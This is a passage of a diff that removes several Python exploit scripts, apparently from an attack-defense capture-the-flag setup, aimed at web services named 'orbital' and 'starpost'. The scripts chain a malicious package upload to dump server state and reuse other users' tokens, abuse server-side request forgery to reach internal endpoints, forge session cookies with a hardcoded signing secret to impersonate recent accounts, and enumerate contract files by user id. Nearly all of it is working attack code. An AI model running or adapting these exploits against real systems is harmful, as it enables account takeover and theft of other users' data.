raise ExploitError("edit_profile", type(last_error).__name__ if last_error else "deadline")
|
||||
|
||||
|
||||
def consume_artifact(
|
||||
base: str, deadline: float, context: dict[str, str]
|
||||
) -> tuple[str | None, dict | None]:
|
||||
initial = read_navigation(
|
||||
base,
|
||||
deadline,
|
||||
context["token"],
|
||||
context["flight_id"],
|
||||
MAX_STATE_RESPONSE,
|
||||
)
|
||||
state = decode_state(initial)
|
||||
trigger_pair(base, deadline, context)
|
||||
if state is not None:
|
||||
return initial, state
|
||||
leaked = read_navigation(
|
||||
base,
|
||||
deadline,
|
||||
context["token"],
|
||||
context["flight_id"],
|
||||
MAX_STATE_RESPONSE,
|
||||
)
|
||||
return (leaked, decode_state(leaked))
|
||||
|
||||
|
||||
def plant_artifact(base: str, deadline: float, context: dict[str, str]) -> bool:
|
||||
upload_package(base, deadline, context, regular_tar())
|
||||
rpc(
|
||||
base,
|
||||
deadline,
|
||||
"approve_package",
|
||||
token=context["token"],
|
||||
package_id=context["package_id"],
|
||||
)
|
||||
upload_package(base, deadline, context, state_dump_tar(context["flight_id"]))
|
||||
try:
|
||||
rpc(
|
||||
base,
|
||||
deadline,
|
||||
"generate_report",
|
||||
token=context["token"],
|
||||
package_id=context["package_id"],
|
||||
attachment="report.txt",
|
||||
)
|
||||
except ExploitError as exc:
|
||||
if exc.detail in {"package not approved", "unsafe package"}:
|
||||
return False
|
||||
raise
|
||||
return True
|
||||
|
||||
|
||||
def stale_context(error: ExploitError) -> bool:
|
||||
return any(marker in error.detail for marker in STALE_MARKERS)
|
||||
|
||||
|
||||
def state_navigation_candidates(state: dict, hint: str, own_flight: str):
|
||||
users = state.get("users")
|
||||
flights = state.get("flights")
|
||||
if not isinstance(users, dict) or not isinstance(flights, dict):
|
||||
return []
|
||||
owner_tokens = {}
|
||||
for token, owner in users.items():
|
||||
if isinstance(token, str) and isinstance(owner, str):
|
||||
owner_tokens.setdefault(owner, token)
|
||||
hinted = list(
|
||||
dict.fromkeys(match.group(0).lower() for match in FLIGHT_PATTERN.finditer(hint))
|
||||
)
|
||||
order = hinted + [flight_id for flight_id in flights if flight_id not in hinted]
|
||||
candidates = []
|
||||
for flight_id in order:
|
||||
flight = flights.get(flight_id)
|
||||
if flight_id == own_flight or not isinstance(flight_id, str) or not isinstance(flight, dict):
|
||||
continue
|
||||
owner_auth = owner_tokens.get(flight.get("owner"))
|
||||
if isinstance(owner_auth, str):
|
||||
candidates.append((flight_id, owner_auth))
|
||||
if len(candidates) >= MAX_NAVIGATION_READS:
|
||||
break
|
||||
return candidates
|
||||
|
||||
|
||||
def collect_flags(
|
||||
base: str,
|
||||
deadline: float,
|
||||
context: dict[str, str],
|
||||
hint: str,
|
||||
raw_state: str,
|
||||
state: dict,
|
||||
) -> tuple[set[str], int, int]:
|
||||
flags = {match.decode("ascii") for match in FLAG_PATTERN.findall(raw_state.encode())}
|
||||
reads = 0
|
||||
errors = 0
|
||||
for flight_id, token in state_navigation_candidates(state, hint, context["flight_id"]):
|
||||
if deadline - time.monotonic() <= 0.3:
|
||||
break
|
||||
reads += 1
|
||||
try:
|
||||
navigation = read_navigation(base, deadline, token, flight_id)
|
||||
except (
|
||||
ExploitError,
|
||||
HTTPError,
|
||||
URLError,
|
||||
TimeoutError,
|
||||
HTTPException,
|
||||
ValueError,
|
||||
OSError,
|
||||
):
|
||||
errors += 1
|
||||
continue
|
||||
flags.update(
|
||||
match.decode("ascii") for match in FLAG_PATTERN.findall(navigation.encode())
|
||||
)
|
||||
return flags, reads, errors
|
||||
|
||||
|
||||
def run_exploit(raw_target: str) -> tuple[list[str], bool, bool, int, int]:
|
||||
base, hint = parse_target(raw_target)
|
||||
deadline = time.monotonic() + TOTAL_RUNTIME
|
||||
context = load_context(base)
|
||||
consumed = False
|
||||
reads = 0
|
||||
errors = 0
|
||||
flags: set[str] = set()
|
||||
if context is not None:
|
||||
try:
|
||||
raw_state, state = consume_artifact(base, deadline, context)
|
||||
except ExploitError as exc:
|
||||
if not stale_context(exc):
|
||||
raise
|
||||
discard_context(base)
|
||||
context = None
|
||||
if context is not None and raw_state is not None and state is not None:
|
||||
consumed = True
|
||||
flags, reads, errors = collect_flags(
|
||||
base, deadline, context, hint, raw_state, state
|
||||
)
|
||||
if context is None:
|
||||
context = create_context(base, deadline)
|
||||
planted = False
|
||||
if deadline - time.monotonic() > 0.75:
|
||||
try:
|
||||
planted = plant_artifact(base, deadline, context)
|
||||
except (
|
||||
ExploitError,
|
||||
HTTPError,
|
||||
URLError,
|
||||
TimeoutError,
|
||||
HTTPException,
|
||||
ValueError,
|
||||
OSError,
|
||||
) as exc:
|
||||
if not flags:
|
||||
raise
|
||||
print(f"replant failed: {type(exc).__name__}", file=sys.stderr)
|
||||
return sorted(flags), consumed, planted, reads, errors
|
||||
|
||||
|
||||
def main() -> int:
|
||||
if len(sys.argv) != 2:
|
||||
print(f"Usage: {sys.argv[0]} HOST[#CHECKER_HINT]", file=sys.stderr)
|
||||
return 2
|
||||
try:
|
||||
with hard_timeout(TOTAL_RUNTIME + 0.5):
|
||||
flags, consumed, planted, reads, errors = run_exploit(sys.argv[1])
|
||||
base, _ = parse_target(sys.argv[1])
|
||||
flags, candidates, passes = fresh_flags(base, flags)
|
||||
except (
|
||||
ExploitError,
|
||||
HardDeadlineExceeded,
|
||||
HTTPError,
|
||||
URLError,
|
||||
TimeoutError,
|
||||
HTTPException,
|
||||
ValueError,
|
||||
OSError,
|
||||
) as exc:
|
||||
print(f"request failed: {type(exc).__name__}", file=sys.stderr)
|
||||
return 1
|
||||
for flag in flags:
|
||||
print(flag, flush=True)
|
||||
print(
|
||||
f"consumed={int(consumed)} planted={int(planted)} navigation_reads={reads} "
|
||||
f"errors={errors} candidates={candidates} cache_pass={passes} "
|
||||
f"new_flags={len(flags)}",
|
||||
file=sys.stderr,
|
||||
)
|
||||
return 0
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
raise SystemExit(main())
|
||||
@@ -1,263 +0,0 @@
|
||||
#!/usr/bin/env python3
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import json
|
||||
import os
|
||||
import re
|
||||
import signal
|
||||
import sys
|
||||
import time
|
||||
from contextlib import contextmanager
|
||||
from http.client import HTTPException
|
||||
from urllib.error import HTTPError, URLError
|
||||
from urllib.parse import unquote, urlsplit, urlunsplit
|
||||
from urllib.request import HTTPRedirectHandler, ProxyHandler, Request, build_opener
|
||||
|
||||
TARGET_SCHEME = "http"
|
||||
SERVICE_PORT = 8086
|
||||
INTERNAL_PORT = 8080
|
||||
REQUEST_TIMEOUT = 1.5
|
||||
RUN_TIMEOUT = 8.0
|
||||
MAX_RESPONSE = 256 * 1024
|
||||
MAX_HINT_LENGTH = 8192
|
||||
MAX_SUMMARIES = 6
|
||||
SUMMARY_PATTERN = re.compile(r"\bsummary-[0-9a-f]{32}\b", re.IGNORECASE)
|
||||
FLAG_PATTERN = re.compile(rb"[A-Z0-9]{31}=")
|
||||
INTERNAL_HOSTS = ("0.0.0.0", "0", "0000", "0x0")
|
||||
|
||||
|
||||
class ExploitError(Exception):
|
||||
pass
|
||||
|
||||
|
||||
class HardDeadlineExceeded(Exception):
|
||||
pass
|
||||
|
||||
|
||||
class NoRedirects(HTTPRedirectHandler):
|
||||
def redirect_request(self, req, fp, code, msg, headers, newurl):
|
||||
return None
|
||||
|
||||
|
||||
OPENER = build_opener(ProxyHandler({}), NoRedirects())
|
||||
|
||||
|
||||
def deadline_alarm(_signum, _frame):
|
||||
raise HardDeadlineExceeded("run deadline exceeded")
|
||||
|
||||
|
||||
@contextmanager
|
||||
def hard_timeout(seconds: float):
|
||||
if not hasattr(signal, "SIGALRM") or not hasattr(signal, "setitimer"):
|
||||
yield
|
||||
return
|
||||
previous = signal.signal(signal.SIGALRM, deadline_alarm)
|
||||
signal.setitimer(signal.ITIMER_REAL, seconds)
|
||||
try:
|
||||
yield
|
||||
finally:
|
||||
signal.setitimer(signal.ITIMER_REAL, 0)
|
||||
signal.signal(signal.SIGALRM, previous)
|
||||
|
||||
|
||||
def parse_target(target: str) -> tuple[str, str]:
|
||||
raw = target.strip()
|
||||
if not raw:
|
||||
raise ValueError("empty target")
|
||||
address, separator, encoded_hint = raw.partition("#")
|
||||
hint = unquote(encoded_hint) if separator else os.environ.get("ORBITAL_HINT", "")
|
||||
if not address:
|
||||
raise ValueError("empty target address")
|
||||
if len(hint) > MAX_HINT_LENGTH:
|
||||
raise ValueError("checker hint is too large")
|
||||
explicit_scheme = "://" in address
|
||||
if not explicit_scheme:
|
||||
authority = (
|
||||
f"[{address}]"
|
||||
if address.count(":") > 1 and not address.startswith("[")
|
||||
else address
|
||||
)
|
||||
address = f"{TARGET_SCHEME}://{authority}"
|
||||
parsed = urlsplit(address)
|
||||
if parsed.scheme not in {"http", "https"} or not parsed.hostname:
|
||||
raise ValueError("expected an HTTP target")
|
||||
if parsed.username or parsed.password or parsed.path not in {"", "/"}:
|
||||
raise ValueError("target must not include credentials or a path")
|
||||
if parsed.query or parsed.fragment:
|
||||
raise ValueError("target address must not include query or fragment")
|
||||
port = parsed.port
|
||||
if port is None:
|
||||
port = (
|
||||
443
|
||||
if explicit_scheme and parsed.scheme == "https"
|
||||
else 80 if explicit_scheme else SERVICE_PORT
|
||||
)
|
||||
if not 1 <= port <= 65535:
|
||||
raise ValueError("invalid target port")
|
||||
host = f"[{parsed.hostname}]" if ":" in parsed.hostname else parsed.hostname
|
||||
return urlunsplit((parsed.scheme, f"{host}:{port}", "", "", "")), hint
|
||||
|
||||
|
||||
def read_bounded(response, deadline: float) -> bytes:
|
||||
chunks = []
|
||||
total = 0
|
||||
while total <= MAX_RESPONSE:
|
||||
if deadline - time.monotonic() <= 0:
|
||||
raise TimeoutError("run deadline exceeded")
|
||||
chunk = response.read(min(16 * 1024, MAX_RESPONSE + 1 - total))
|
||||
if not chunk:
|
||||
break
|
||||
chunks.append(chunk)
|
||||
total += len(chunk)
|
||||
raw = b"".join(chunks)
|
||||
if len(raw) > MAX_RESPONSE:
|
||||
raise ValueError("response too large")
|
||||
if deadline - time.monotonic() <= 0:
|
||||
raise TimeoutError("run deadline exceeded")
|
||||
return raw
|
||||
|
||||
|
||||
def request(base: str, payload: bytes, deadline: float) -> tuple[int, bytes]:
|
||||
remaining = deadline - time.monotonic()
|
||||
if remaining <= 0:
|
||||
raise TimeoutError("run deadline exceeded")
|
||||
req = Request(
|
||||
base + "/rpc",
|
||||
data=payload,
|
||||
headers={
|
||||
"Accept": "application/json",
|
||||
"Content-Type": "application/json",
|
||||
"User-Agent": "neo-orbital-summary-ssrf/1.0",
|
||||
},
|
||||
method="POST",
|
||||
)
|
||||
try:
|
||||
with OPENER.open(req, timeout=min(REQUEST_TIMEOUT, remaining)) as response:
|
||||
return response.status, read_bounded(response, deadline)
|
||||
except HTTPError as exc:
|
||||
with exc:
|
||||
return exc.code, read_bounded(exc, deadline)
|
||||
|
||||
|
||||
def rpc(base: str, deadline: float, action: str, **fields):
|
||||
payload = json.dumps({"action": action, **fields}, separators=(",", ":")).encode()
|
||||
status, raw = request(base, payload, deadline)
|
||||
try:
|
||||
document = json.loads(raw)
|
||||
except (TypeError, ValueError) as exc:
|
||||
raise ExploitError(f"{action}: invalid response") from exc
|
||||
if not isinstance(document, dict):
|
||||
raise ExploitError(f"{action}: invalid response")
|
||||
if status != 200 or document.get("ok") is not True:
|
||||
raise ExploitError(f"{action}: request rejected (HTTP {status})")
|
||||
return document.get("result")
|
||||
|
||||
|
||||
def register(base: str, deadline: float) -> str:
|
||||
result = rpc(base, deadline, "register")
|
||||
auth = result.get("token") if isinstance(result, dict) else None
|
||||
if not isinstance(auth, str):
|
||||
raise ExploitError("register: missing token")
|
||||
return auth
|
||||
|
||||
|
||||
def import_summary(
|
||||
base: str, auth: str, summary_id: str, deadline: float
|
||||
) -> tuple[set[bytes] | None, int]:
|
||||
attempts = 0
|
||||
for internal_host in INTERNAL_HOSTS:
|
||||
if deadline - time.monotonic() <= 0:
|
||||
break
|
||||
attempts += 1
|
||||
try:
|
||||
result = rpc(
|
||||
base,
|
||||
deadline,
|
||||
"import_bulletin",
|
||||
token=auth,
|
||||
url=f"http://{internal_host}:{INTERNAL_PORT}/internal/summaries/{summary_id}",
|
||||
)
|
||||
except (
|
||||
ExploitError,
|
||||
HTTPError,
|
||||
URLError,
|
||||
TimeoutError,
|
||||
HTTPException,
|
||||
ValueError,
|
||||
OSError,
|
||||
):
|
||||
continue
|
||||
content = result.get("content") if isinstance(result, dict) else None
|
||||
if not isinstance(content, str):
|
||||
raise ExploitError("import_bulletin: missing content")
|
||||
return set(FLAG_PATTERN.findall(content.encode())), attempts
|
||||
return None, attempts
|
||||
|
||||
|
||||
def run_exploit(raw_target: str, emit=None) -> tuple[list[str], int, int, int]:
|
||||
base, hint = parse_target(raw_target)
|
||||
summary_ids = list(
|
||||
dict.fromkeys(match.group(0).lower() for match in SUMMARY_PATTERN.finditer(hint))
|
||||
)[:MAX_SUMMARIES]
|
||||
if not summary_ids:
|
||||
raise ValueError("checker hint with a summary id is required")
|
||||
deadline = time.monotonic() + RUN_TIMEOUT
|
||||
auth = register(base, deadline)
|
||||
flags: set[str] = set()
|
||||
processed = 0
|
||||
attempts = 0
|
||||
errors = 0
|
||||
for summary_id in summary_ids:
|
||||
if deadline - time.monotonic() <= 0:
|
||||
break
|
||||
found, request_count = import_summary(base, auth, summary_id, deadline)
|
||||
attempts += request_count
|
||||
if found is None:
|
||||
errors += 1
|
||||
continue
|
||||
processed += 1
|
||||
for candidate in sorted(flag.decode("ascii") for flag in found):
|
||||
if candidate in flags:
|
||||
continue
|
||||
flags.add(candidate)
|
||||
if emit is not None:
|
||||
emit(candidate)
|
||||
if processed == 0:
|
||||
if deadline - time.monotonic() <= 0:
|
||||
raise TimeoutError("run deadline exceeded")
|
||||
if errors:
|
||||
raise ExploitError("all summary imports failed")
|
||||
return sorted(flags), processed, attempts, errors
|
||||
|
||||
|
||||
def main() -> int:
|
||||
if len(sys.argv) != 2:
|
||||
print(f"Usage: {sys.argv[0]} HOST#SUMMARY_HINT", file=sys.stderr)
|
||||
return 2
|
||||
try:
|
||||
with hard_timeout(RUN_TIMEOUT):
|
||||
flags, processed, attempts, errors = run_exploit(
|
||||
sys.argv[1], lambda candidate: print(candidate, flush=True)
|
||||
)
|
||||
except (
|
||||
ExploitError,
|
||||
HardDeadlineExceeded,
|
||||
HTTPError,
|
||||
URLError,
|
||||
TimeoutError,
|
||||
HTTPException,
|
||||
ValueError,
|
||||
OSError,
|
||||
) as exc:
|
||||
print(f"request failed: {exc}", file=sys.stderr)
|
||||
return 1
|
||||
print(
|
||||
f"summaries={processed} attempts={attempts} errors={errors} flags={len(flags)}",
|
||||
file=sys.stderr,
|
||||
)
|
||||
return 0
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
raise SystemExit(main())
|
||||
@@ -1,199 +0,0 @@
|
||||
#!/usr/bin/env python3
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import base64
|
||||
import concurrent.futures
|
||||
import hashlib
|
||||
import hmac
|
||||
import json
|
||||
import re
|
||||
import secrets
|
||||
import sys
|
||||
import time
|
||||
from urllib.error import HTTPError, URLError
|
||||
from urllib.parse import quote, urlsplit, urlunsplit
|
||||
from urllib.request import HTTPRedirectHandler, Request, build_opener
|
||||
|
||||
TARGET_SCHEME = "http"
|
||||
SERVICE_PORT = 8090
|
||||
REQUEST_TIMEOUT = 2.0
|
||||
TOTAL_TIMEOUT = 8.0
|
||||
MAX_RESPONSE = 128 * 1024
|
||||
RECENT_USER_WINDOW = 32
|
||||
MAX_WORKERS = 8
|
||||
SESSION_SECRET = "starpost-development-session-key-change-before-production"
|
||||
FLAG_RE = re.compile(rb"[A-Z0-9]{31}=")
|
||||
|
||||
|
||||
class NoRedirects(HTTPRedirectHandler):
|
||||
def redirect_request(self, req, fp, code, msg, headers, newurl):
|
||||
return None
|
||||
|
||||
|
||||
def build_base_url(target: str) -> str:
|
||||
raw = target.strip()
|
||||
if not raw:
|
||||
raise ValueError("empty target")
|
||||
if "://" not in raw:
|
||||
authority = f"[{raw}]" if raw.count(":") > 1 and not raw.startswith("[") else raw
|
||||
raw = f"{TARGET_SCHEME}://{authority}"
|
||||
parsed = urlsplit(raw)
|
||||
if parsed.scheme not in {"http", "https"} or not parsed.hostname:
|
||||
raise ValueError("expected an HTTP target")
|
||||
if parsed.username or parsed.password or parsed.path not in {"", "/"}:
|
||||
raise ValueError("target must not include credentials or a path")
|
||||
if parsed.query or parsed.fragment:
|
||||
raise ValueError("target must not include query or fragment")
|
||||
port = parsed.port or (443 if parsed.scheme == "https" else SERVICE_PORT)
|
||||
host = f"[{parsed.hostname}]" if ":" in parsed.hostname else parsed.hostname
|
||||
return urlunsplit((parsed.scheme, f"{host}:{port}", "", "", ""))
|
||||
|
||||
|
||||
def b64(data: bytes) -> bytes:
|
||||
return base64.urlsafe_b64encode(data).rstrip(b"=")
|
||||
|
||||
|
||||
def forge_session(user_id: int, role: str) -> str:
|
||||
payload = json.dumps(
|
||||
{"user_id": user_id, "username": "synthetic", "role": role},
|
||||
separators=(",", ":"),
|
||||
).encode()
|
||||
timestamp = int(time.time())
|
||||
timestamp_bytes = timestamp.to_bytes(max(1, (timestamp.bit_length() + 7) // 8), "big")
|
||||
value = b64(payload) + b"." + b64(timestamp_bytes)
|
||||
derived = hmac.new(SESSION_SECRET.encode(), b"cookie-session", hashlib.sha1).digest()
|
||||
signature = hmac.new(derived, value, hashlib.sha1).digest()
|
||||
return (value + b"." + b64(signature)).decode()
|
||||
|
||||
|
||||
def request(
|
||||
base: str,
|
||||
path: str,
|
||||
method: str = "GET",
|
||||
payload=None,
|
||||
cookie: str | None = None,
|
||||
timeout: float = REQUEST_TIMEOUT,
|
||||
):
|
||||
body = json.dumps(payload).encode() if payload is not None else None
|
||||
headers = {"User-Agent": "starpost-session/1.0", "Accept": "application/json"}
|
||||
if body is not None:
|
||||
headers["Content-Type"] = "application/json"
|
||||
if cookie:
|
||||
headers["Cookie"] = f"session={cookie}"
|
||||
req = Request(base + path, data=body, headers=headers, method=method)
|
||||
opener = build_opener(NoRedirects())
|
||||
try:
|
||||
with opener.open(req, timeout=timeout) as response:
|
||||
data = response.read(MAX_RESPONSE + 1)
|
||||
if len(data) > MAX_RESPONSE:
|
||||
raise ValueError("response too large")
|
||||
return response.status, data
|
||||
except HTTPError as exc:
|
||||
data = exc.read(MAX_RESPONSE + 1)
|
||||
if len(data) > MAX_RESPONSE:
|
||||
raise ValueError("response too large")
|
||||
return exc.code, data
|
||||
|
||||
|
||||
def register_probe(base: str, deadline: float) -> int:
|
||||
remaining = deadline - time.monotonic()
|
||||
if remaining <= 0:
|
||||
raise TimeoutError("overall deadline exceeded")
|
||||
marker = secrets.token_hex(8)
|
||||
status, raw = request(
|
||||
base,
|
||||
"/api/register",
|
||||
method="POST",
|
||||
payload={"username": f"probe-{marker}", "password": secrets.token_urlsafe(18), "role": "buyer"},
|
||||
timeout=min(REQUEST_TIMEOUT, remaining),
|
||||
)
|
||||
if status != 201:
|
||||
raise ValueError(f"registration returned HTTP {status}")
|
||||
return int(json.loads(raw)["id"])
|
||||
|
||||
|
||||
def collect_identity(base: str, user_id: int, deadline: float) -> list[bytes]:
|
||||
def fetch(path: str, cookie: str):
|
||||
remaining = deadline - time.monotonic()
|
||||
if remaining <= 0:
|
||||
return None
|
||||
try:
|
||||
return request(base, path, cookie=cookie, timeout=min(REQUEST_TIMEOUT, remaining))
|
||||
except (HTTPError, URLError, TimeoutError, ValueError, OSError):
|
||||
return None
|
||||
|
||||
probe_cookie = forge_session(user_id, "seller")
|
||||
response = fetch("/api/me", probe_cookie)
|
||||
if response is None or response[0] != 200:
|
||||
return []
|
||||
_, raw = response
|
||||
try:
|
||||
identity = json.loads(raw)
|
||||
except (TypeError, ValueError):
|
||||
return []
|
||||
if not isinstance(identity, dict) or identity.get("role") not in {"buyer", "seller"}:
|
||||
return []
|
||||
role = identity["role"]
|
||||
cookie = forge_session(user_id, role)
|
||||
paths = ["/api/orders"] if role == "buyer" else [
|
||||
"/api/seller/products",
|
||||
"/api/seller/reviews?limit=100",
|
||||
]
|
||||
contract_file = identity.get("contract_file")
|
||||
if role == "seller" and isinstance(contract_file, str) and contract_file:
|
||||
paths.append("/api/contract?file=" + quote(contract_file, safe=""))
|
||||
output = [raw]
|
||||
for path in paths:
|
||||
response = fetch(path, cookie)
|
||||
if response is None:
|
||||
continue
|
||||
status, data = response
|
||||
if status == 200 and data:
|
||||
output.append(data)
|
||||
return output
|
||||
|
||||
|
||||
def run_exploit(target: str) -> str:
|
||||
base = build_base_url(target)
|
||||
deadline = time.monotonic() + TOTAL_TIMEOUT
|
||||
newest = register_probe(base, deadline)
|
||||
user_ids = list(range(newest - 1, max(0, newest - RECENT_USER_WINDOW - 1), -1))
|
||||
chunks: list[bytes] = []
|
||||
with concurrent.futures.ThreadPoolExecutor(max_workers=MAX_WORKERS) as pool:
|
||||
futures = [pool.submit(collect_identity, base, uid, deadline) for uid in user_ids]
|
||||
try:
|
||||
for future in concurrent.futures.as_completed(
|
||||
futures,
|
||||
timeout=max(0.001, deadline - time.monotonic()),
|
||||
):
|
||||
try:
|
||||
chunks.extend(future.result())
|
||||
except (HTTPError, URLError, TimeoutError, ValueError, OSError):
|
||||
continue
|
||||
except TimeoutError:
|
||||
pass
|
||||
finally:
|
||||
for future in futures:
|
||||
future.cancel()
|
||||
flags = sorted(set(FLAG_RE.findall(b"\n".join(chunks))))
|
||||
print(f"checked up to {len(user_ids)} recent identities; candidates={len(flags)}", file=sys.stderr)
|
||||
return b"\n".join(flags).decode("ascii")
|
||||
|
||||
|
||||
def main() -> int:
|
||||
if len(sys.argv) != 2:
|
||||
print(f"Usage: {sys.argv[0]} HOST", file=sys.stderr)
|
||||
return 2
|
||||
try:
|
||||
output = run_exploit(sys.argv[1])
|
||||
except (HTTPError, URLError, TimeoutError, ValueError, OSError, json.JSONDecodeError) as exc:
|
||||
print(f"request failed: {exc}", file=sys.stderr)
|
||||
return 1
|
||||
if output:
|
||||
print(output, flush=True)
|
||||
return 0
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
raise SystemExit(main())
|
||||
@@ -1,255 +0,0 @@
|
||||
#!/usr/bin/env python3
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import concurrent.futures
|
||||
import json
|
||||
import re
|
||||
import secrets
|
||||
import socket
|
||||
import sys
|
||||
import time
|
||||
from http.cookies import SimpleCookie
|
||||
from urllib.error import HTTPError, URLError
|
||||
from urllib.parse import urlsplit, urlunsplit
|
||||
from urllib.request import HTTPRedirectHandler, Request, build_opener
|
||||
|
||||
|
||||
TARGET_SCHEME = "http"
|
||||
SERVICE_PORT = 8090
|
||||
CONNECT_TIMEOUT = 0.35
|
||||
READ_TIMEOUT = 0.65
|
||||
MAX_RESPONSE = 128 * 1024
|
||||
RECENT_USER_WINDOW = 32
|
||||
MAX_WORKERS = 8
|
||||
MAX_ATTEMPTS = 2
|
||||
RUN_TIMEOUT = 8.5
|
||||
FLAG_PATTERN = re.compile(rb"[A-Z0-9]{31}=")
|
||||
|
||||
|
||||
class NoRedirects(HTTPRedirectHandler):
|
||||
def redirect_request(self, req, fp, code, msg, headers, newurl):
|
||||
return None
|
||||
|
||||
|
||||
def build_target(target: str) -> str:
|
||||
raw = target.strip()
|
||||
if not raw:
|
||||
raise ValueError("empty target")
|
||||
if "://" not in raw:
|
||||
authority = f"[{raw}]" if raw.count(":") > 1 and not raw.startswith("[") else raw
|
||||
raw = f"{TARGET_SCHEME}://{authority}"
|
||||
parsed = urlsplit(raw)
|
||||
if parsed.scheme not in {"http", "https"} or not parsed.hostname:
|
||||
raise ValueError("expected an HTTP target")
|
||||
if parsed.username or parsed.password or parsed.path not in {"", "/"}:
|
||||
raise ValueError("target must not include credentials or a path")
|
||||
if parsed.query or parsed.fragment:
|
||||
raise ValueError("target must not include query or fragment")
|
||||
port = parsed.port or (443 if parsed.scheme == "https" else SERVICE_PORT)
|
||||
if not 1 <= port <= 65535:
|
||||
raise ValueError("invalid target port")
|
||||
host = f"[{parsed.hostname}]" if ":" in parsed.hostname else parsed.hostname
|
||||
return urlunsplit((parsed.scheme, f"{host}:{port}", "", "", ""))
|
||||
|
||||
|
||||
def request(
|
||||
target: str,
|
||||
method: str,
|
||||
path: str,
|
||||
deadline: float,
|
||||
payload: dict | None = None,
|
||||
cookie: str | None = None,
|
||||
attempts: int = MAX_ATTEMPTS,
|
||||
) -> tuple[int, list[tuple[str, str]], bytes]:
|
||||
body = json.dumps(payload, separators=(",", ":")).encode() if payload is not None else None
|
||||
headers = {"Accept": "application/json", "User-Agent": "neo-starpost-contract/1.0"}
|
||||
if body is not None:
|
||||
headers["Content-Type"] = "application/json"
|
||||
if cookie:
|
||||
headers["Cookie"] = f"session={cookie}"
|
||||
req = Request(target + path, data=body, headers=headers, method=method)
|
||||
opener = build_opener(NoRedirects())
|
||||
last_error: OSError | URLError | None = None
|
||||
for _ in range(attempts):
|
||||
remaining = deadline - time.monotonic()
|
||||
if remaining <= 0:
|
||||
break
|
||||
try:
|
||||
with opener.open(req, timeout=min(CONNECT_TIMEOUT, remaining)) as response:
|
||||
remaining = deadline - time.monotonic()
|
||||
if remaining <= 0:
|
||||
raise TimeoutError("run deadline exceeded")
|
||||
try:
|
||||
response.fp.raw._sock.settimeout(min(READ_TIMEOUT, remaining))
|
||||
except (AttributeError, OSError):
|
||||
pass
|
||||
data = response.read(MAX_RESPONSE + 1)
|
||||
if len(data) > MAX_RESPONSE:
|
||||
raise ValueError("response too large")
|
||||
return response.status, list(response.headers.items()), data
|
||||
except HTTPError as exc:
|
||||
data = exc.read(MAX_RESPONSE + 1)
|
||||
if len(data) > MAX_RESPONSE:
|
||||
raise ValueError("response too large")
|
||||
return exc.code, list(exc.headers.items()), data
|
||||
except (OSError, TimeoutError, socket.timeout, URLError) as exc:
|
||||
last_error = exc
|
||||
if last_error is not None:
|
||||
raise last_error
|
||||
raise TimeoutError("run deadline exceeded")
|
||||
|
||||
|
||||
def register(target: str, deadline: float) -> tuple[int, str]:
|
||||
marker = secrets.token_hex(8)
|
||||
status, headers, body = request(
|
||||
target,
|
||||
"POST",
|
||||
"/api/register",
|
||||
deadline,
|
||||
payload={
|
||||
"username": f"neo-{marker}",
|
||||
"password": secrets.token_urlsafe(18),
|
||||
"role": "seller",
|
||||
"company_name": f"neo-{marker}",
|
||||
"tax_id": marker,
|
||||
"signature": "synthetic-probe",
|
||||
},
|
||||
attempts=1,
|
||||
)
|
||||
if status != 201:
|
||||
raise ValueError(f"registration returned HTTP {status}")
|
||||
data = json.loads(body)
|
||||
if not isinstance(data, dict) or "id" not in data or isinstance(data["id"], bool):
|
||||
raise ValueError("registration returned an invalid user id")
|
||||
try:
|
||||
user_id = int(data["id"])
|
||||
except (TypeError, ValueError) as exc:
|
||||
raise ValueError("registration returned an invalid user id") from exc
|
||||
if user_id < 1:
|
||||
raise ValueError("registration returned an invalid user id")
|
||||
cookies = SimpleCookie()
|
||||
for name, value in headers:
|
||||
if name.lower() == "set-cookie":
|
||||
cookies.load(value)
|
||||
if "session" not in cookies:
|
||||
raise ValueError("registration did not return a session")
|
||||
return user_id, cookies["session"].value
|
||||
|
||||
|
||||
def pdf_literal_strings(document: bytes) -> list[bytes]:
|
||||
strings: list[bytes] = []
|
||||
size = len(document)
|
||||
offset = 0
|
||||
escapes = {
|
||||
ord("n"): ord("\n"),
|
||||
ord("r"): ord("\r"),
|
||||
ord("t"): ord("\t"),
|
||||
ord("b"): ord("\b"),
|
||||
ord("f"): ord("\f"),
|
||||
}
|
||||
while offset < size:
|
||||
start = document.find(b"(", offset)
|
||||
if start < 0:
|
||||
break
|
||||
offset = start + 1
|
||||
depth = 1
|
||||
value = bytearray()
|
||||
while offset < size and depth:
|
||||
current = document[offset]
|
||||
if current == ord("\\"):
|
||||
offset += 1
|
||||
if offset >= size:
|
||||
break
|
||||
escaped = document[offset]
|
||||
if escaped in (ord("\r"), ord("\n")):
|
||||
if escaped == ord("\r") and offset + 1 < size and document[offset + 1] == ord("\n"):
|
||||
offset += 1
|
||||
offset += 1
|
||||
continue
|
||||
if ord("0") <= escaped <= ord("7"):
|
||||
end = offset + 1
|
||||
while end < size and end < offset + 3 and ord("0") <= document[end] <= ord("7"):
|
||||
end += 1
|
||||
value.append(int(document[offset:end], 8) & 0xFF)
|
||||
offset = end
|
||||
continue
|
||||
value.append(escapes.get(escaped, escaped))
|
||||
elif current == ord("("):
|
||||
depth += 1
|
||||
value.append(current)
|
||||
elif current == ord(")"):
|
||||
depth -= 1
|
||||
if depth:
|
||||
value.append(current)
|
||||
else:
|
||||
value.append(current)
|
||||
offset += 1
|
||||
if depth == 0:
|
||||
strings.append(bytes(value))
|
||||
return strings
|
||||
|
||||
|
||||
def extract_flags(document: bytes) -> set[bytes]:
|
||||
fragments = pdf_literal_strings(document)
|
||||
flags = set(FLAG_PATTERN.findall(document))
|
||||
for fragment in fragments:
|
||||
flags.update(FLAG_PATTERN.findall(fragment))
|
||||
for left, right in zip(fragments, fragments[1:]):
|
||||
flags.update(FLAG_PATTERN.findall(left[-31:] + right[:31]))
|
||||
return flags
|
||||
|
||||
|
||||
def collect_contract(target: str, user_id: int, cookie: str, deadline: float) -> tuple[set[bytes], bool]:
|
||||
try:
|
||||
status, _, body = request(
|
||||
target,
|
||||
"GET",
|
||||
f"/api/contract?file=contract-{user_id}",
|
||||
deadline,
|
||||
cookie=cookie,
|
||||
)
|
||||
except (OSError, TimeoutError, URLError, ValueError):
|
||||
return set(), True
|
||||
